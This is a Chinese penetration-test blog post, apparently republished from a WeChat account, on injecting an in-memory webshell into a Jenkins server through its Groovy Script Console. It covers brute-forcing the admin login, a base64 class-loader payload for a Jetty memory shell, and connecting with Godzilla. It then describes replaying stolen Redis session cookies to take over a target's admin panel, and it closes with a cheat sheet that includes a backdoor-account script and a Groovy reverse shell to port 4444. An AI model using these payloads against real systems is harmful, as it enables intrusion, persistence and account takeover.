记一次Jenkins后台注入内存马测试

admin 2024年7月10日23:13:08评论441 views字数 2976阅读9分55秒阅读模式

前言

本篇文章主要内容为,如何在Jenkins系统中注入内存马。上周的一个项目,把其中比较关键的知识点写出来记录分享下。项目的最终需求是获取指定靶标系统的后台管理员权限,此时已从nacos中收集到靶标系统的相关内网数据库连接信息,但没有内网入口点,有个Jenkins系统后台权限,此为前提条件。

判断当前网络环境

Jenkins爆破进入后台后,是可以直接执行Groovy脚本的,在网上找了个POC,测试执行命令成功。

println 'whoami'.execute().text

但执行来执行去,发现很多命令都没有,是个docker容器,稍复杂一些的命令执行也会报错。

想着测试下这台Jenkins(云服务器)会不会通内网数据库IP,执行了下ping命令,发现没回显,和命令执行失败一样。此时可以使用如下这段Groovy代码去判断是否通内网指定IP(也可用来判断是否出网),项目中运气好,居然真是通的。


import java.net.InetAddress
def host = "192.168.77.5" // 要测试的主机名或IP地址
try {
def address = InetAddress.getByName(host)
if (address.isReachable(5000)) {
println("$host is reachable.")
} else {
println("$host is not reachable.")
}
} catch (Exception e) {
println("Error occurred: ${e.message}")
}

记一次Jenkins后台注入内存马测试

本地搭建Jenkins测试环境

想连接数据库需要搭建代理进入内网,注入内存马无疑会方便后续的操作,在网上搜了半天没有相关合适的文章,想着搭建下靶机环境自己本地先测试下。搭建高版本Jenkins测试环境需要注意,其需配合高版本的jdk才能正常安装运行,我这里安装的是jdk17。

记一次Jenkins后台注入内存马测试

一直下一步安装完成后,打开web界面,看到如下页面即服务启动成功。

记一次Jenkins后台注入内存马测试

第一次安装登录时,在提示的文件 C:ProgramDataJenkins.jenkinssecretsinitialAdminPassword 找到登录密码,登录后如果遇见如下报错;

记一次Jenkins后台注入内存马测试

直接访问 /script 来到后台 Script Console 执行页面,我们只需要把漏洞复现环境搭建起来了就行,其它功能报错可以暂时先忽略。

记一次Jenkins后台注入内存马测试

注入内存马测试

首先我们需要确定 Jenkins 可以注入什么类型的内存马。网上搜一下大概就知道了,或者抓个包看看,默认在响应头可以看到中间件信息。

记一次Jenkins后台注入内存马测试

使用 jMG内存马工具 去生成 Jetty 中间件的内存马。

记一次Jenkins后台注入内存马测试

有了内存马,我们还需要一段Groovy代码去加载运行它,花了一些时间去测试后,构造出如下POC。


new groovy.lang.GroovyClassLoader().defineClass(null, java.util.Base64.getDecoder().decode("yv66vgAAA...")).newInstance();

点击运行,回显如下,即说明代码运行正常未报错。

记一次Jenkins后台注入内存马测试

使用哥斯拉连接测试成功

记一次Jenkins后台注入内存马测试

登录靶标系统后台

相同方式拿下目标Jenkins,搭建代理,首先是查看了下内网mysql,后台密码加密方式未知,且登录需要短信验证码,不太好解决。接着从内网redis中找到一处存储session的位置,这里思路是取一个session拿过去尝试复用进入后台,测试后发现确实为靶标系统的登录凭证。

记一次Jenkins后台注入内存马测试

session有几十个,有些是低权限用户的,有些是不存活的,我们需要筛选出管理员的session。将所有session拉到burpsuite中替换跑一遍,通过后台页面响应包中用户名的区别,确定到管理员session是哪一个。

记一次Jenkins后台注入内存马测试

替换cookie成功进入后台,获得靶标系统后台管理员权限,结束。

-后台图片-

收集的其它功能命令

执行命令1


println "whoami".execute().text

执行命令2


def proc = "whoami".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());

执行命令3


def command = "ping baidu.com -n 2" // 要执行的命令
def process = command.execute() // 执行命令
process.waitFor() // 等待命令执行完成
def output = process.text // 获取命令输出结果
println(output) // 打印输出结果

获取环境变量


def env = System.getenv()
println "${env}"

创建用户(未测试)


import jenkins.model.*
import hudson.security.*
def instance = Jenkins.getInstance()
def hudsonRealm = new HudsonPrivateSecurityRealm(false)
hudsonRealm.createAccount("ccav","123qwe!@#...")
instance.setSecurityRealm(hudsonRealm)
instance.save()

反弹shell(未测试)


String host="0.0.0.0";
int port=4444;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

参考文章

https://github.com/pen4uin/java-memshell-generator-release (推荐此工具)

https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/di-qi-zhang-yun-yuan-sheng-ying-yong-de-devops/jenkins-shen-tou-chang-jing

原文始发于微信公众号(哈拉少安全小队):记一次Jenkins后台注入内存马测试

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月10日23:13:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次Jenkins后台注入内存马测试http://cn-sec.com/archives/2935354.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息